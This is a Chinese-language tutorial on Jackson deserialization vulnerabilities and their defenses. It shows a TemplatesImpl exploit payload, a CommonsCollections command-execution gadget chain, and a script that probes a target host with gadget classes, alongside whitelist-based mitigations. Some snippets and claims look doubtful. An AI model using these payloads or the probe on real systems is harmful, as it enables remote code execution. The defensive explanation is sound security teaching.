一、Jackson 是什么
Jackson 是 Java 生态中最主流的 JSON 处理库,Spring Boot 默认 JSON 引擎。
核心类 ObjectMapper 提供三种用法:
readValue(json, Class)—— 反序列化writeValueAsString(obj)—— 序列化enableDefaultTyping()—— 开启多态类型支持(危险!)
二、多态类型的三种启用方式
方式 A:@JsonTypeInfo + @JsonSubTypes(推荐)
@JsonTypeInfo(use=JsonTypeInfo.Id.NAME,
property="@type",
include=JsonTypeInfo.As.PROPERTY)
@JsonSubTypes({
@JsonSubTypes.Type(value=AdminUser.class, name="Admin"),
@JsonSubTypes.Type(value=NormalUser.class, name="Normal")
})
public abstract class BaseUser {
public String name;
}
JSON 格式:{"@type":"Admin","name":"admin"}。白名单明确列出了可以反序列化的子类,安全可控。
方式 B:enableDefaultTyping()(危险!)
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
NON_FINAL 模式下,所有非 final 类型都会自动添加 @class 字段。这等同于对所有非 final 类开启 AutoType——和 Fastjson 漏洞原理完全一样。
方式 C:activateDefaultTyping + PolymorphicTypeValidator(Jackson 2.10+)
ObjectMapper mapper = JsonMapper.builder()
.activateDefaultTyping(
BasicPolymorphicTypeValidator.builder()
.allowIfSubType("com.example.")
.denySubClass(Arrays.asList(Object.class))
.build(),
ObjectMapper.DefaultTyping.NON_FINAL,
JsonTypeInfo.As.PROPERTY)
.build();
通过 PolymorphicTypeValidator 显式白名单允许 com.example. 前缀的类。
JSON 格式对比
| 模式 | WRAPPER_ARRAY | PROPERTY | 说明 |
|---|---|---|---|
| 1.x 默认 | ["类名", {...}] |
❌ | 数组包裹 |
| 2.x 默认 | ❌ | {"@class":"...",...} |
属性内联 |
三、历史漏洞
CVE-2017-7525(Jackson 2.8.9)
TemplatesImpl + @JsonTypeInfo 配合 JNDI / BCEL 加载恶意字节码:
String payload = "[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", " +
"{\"_name\":\"x\"," +
"\"_objectStreamValid\":true," +
"\"_transletBytecodes\":[\"AAECAAAD...恶意class字节...\"]," +
"\"_transletNames\":[\"x\"]}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
// TemplatesImpl.defineTransletClasses() 加载恶意字节码 → RCE
LazyMap + CommonsCollections 链
Jackson 本身不直接 RCE,但如果 target classpath 有 commons-collections:
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Transformer[] chain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"touch /tmp/jackson_cc"})
};
Map lazyMap = LazyMap.decorate(new HashMap(), new ChainedTransformer(chain));
String json = mapper.writeValueAsString(lazyMap);
System.out.println(json);
// {"@class":"org.apache.commons.collections.map.LazyMap",...} → 再喂回 ObjectMapper 触发
Object restored = mapper.readValue(json, Object.class);
Spring Boot autoConfiguration 风险
如果配置了:
spring:
mvc:
converters:
- org.springframework.http.converter.json.MappingJackson2HttpMessageConverter
jackson:
serialization:
write-dates-as-timestamps: true
deserialization:
fail-on-unknown-properties: false
这本身安全。但如果有自定义 @Bean:
@Bean
public ObjectMapper objectMapper() {
ObjectMapper m = new ObjectMapper();
m.enableDefaultTyping(); // ⚠️ 危险!
return m;
}
四、漏洞检测脚本
import requests, json
def test_jackson(host, port, gadget_class):
payload = json.dumps([gadget_class, {"@value":"x"}])
try:
r = requests.post(f"http://{host}:{port}/api/json",
data=payload,
headers={"Content-Type":"application/json"})
if gadget_class in r.text or "TemplatesImpl" in r.text:
return True
return False
except:
return False
GADGETS = [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"org.apache.commons.collections.map.LazyMap",
"org.springframework.aop.config.ConfigBeanFactoryPostProcessor"
]
for g in GADGETS:
print(f"{g}: {test_jackson('target.com', 8080, g)}")
五、防御方案
5.1 禁用全局 default typing
// Spring Boot
@Bean
public ObjectMapper objectMapper() {
return JsonMapper.builder().disableDefaultTyping().build();
}
// 或 application.yml
# spring.jackson.mapper.default-view-inclusion=true (间接不开启)
5.2 只用 @JsonTypeInfo 白名单
@JsonTypeInfo(use=JsonTypeInfo.Id.NAME, include=JsonTypeInfo.As.PROPERTY, property="@type")
@JsonSubTypes({
@JsonSubTypes.Type(value=AdminUser.class, name="Admin"),
@JsonSubTypes.Type(value=NormalUser.class, name="Normal")
})
public abstract class SafeBase { }
5.3 PolymorphicTypeValidator 白名单
// Jackson 2.10+ 推荐方式
ObjectMapper mapper = JsonMapper.builder()
.activateDefaultTyping(
BasicPolymorphicTypeValidator.builder()
.allowIfSubType("com.example.safe.")
.build(),
DefaultTyping.NON_FINAL,
JsonTypeInfo.As.PROPERTY)
.build();
六、总结
Jackson 反序列化和 Fastjson 本质相同——都是为了方便开了多态反序列化,target classpath 里恰好有 gadget 链。区别是 Fastjson 用 @type 字段,Jackson 用 enableDefaultTyping。防御核心永远不要对外部不可信数据开启全局多态反序列化,只用 @JsonTypeInfo + @JsonSubTypes 的显式白名单方式。
七、常见 Spring Boot 反序列化配置错误
错误的 ObjectMapper Bean 配置经常在 Stack Overflow 上被错误地分享:
// 危险!网上常见的错误代码
@Bean
public ObjectMapper getObjectMapper() {
ObjectMapper om = new ObjectMapper();
om.enableDefaultTyping();
om.setVisibility(PropertyAccessor.FIELD, JsonAutoDetect.Visibility.ANY);
return om;
}
这段代码把 Jackson 变成了反序列化武器。正确写法:
@Bean
public ObjectMapper getObjectMapper() {
return JsonMapper.builder()
.disableDefaultTyping()
.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES)
.build();
}
八、Jackson 和 CommonsCollections 的组合利用
Jackson 本身不直接 RCE,但如果 classpath 里有 commons-collections,enableDefaultTyping 会把 CC 链对象也序列化出来。这和 Fastjson 漏洞原理完全一样——两个漏洞叠加起来威力翻倍。
九、Jackson 2.10 的 PolymorphicTypeValidator
Jackson 2.10 引入了 PolymorphicTypeValidator,允许更细粒度的控制:
BasicPolymorphicTypeValidator validator = BasicPolymorphicTypeValidator.builder()
.allowIfSubType("com.example.safe.")
.denySubClass(Arrays.asList(Object.class))
.denyIfSubType("com.sun.")
.allowIfSubTypeIsArray()
.build();
ObjectMapper mapper = JsonMapper.builder()
.activateDefaultTyping(validator,
DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY)
.build();
这才是正确的多态反序列化方式——白名单而不是黑名单。
十、总结补充
Jackson 反序列化和 Fastjson 本质上是同一类漏洞——为了方便开启了多态反序列化,结果攻击者用这个功能来加载恶意类。区别只是 Jackson 用 enableDefaultTyping,Fastjson 用 @type。防御上最可靠的做法是 永远只用 @JsonTypeInfo + @JsonSubTypes 的显式白名单方式,不要全局开启任何形式的 auto typing。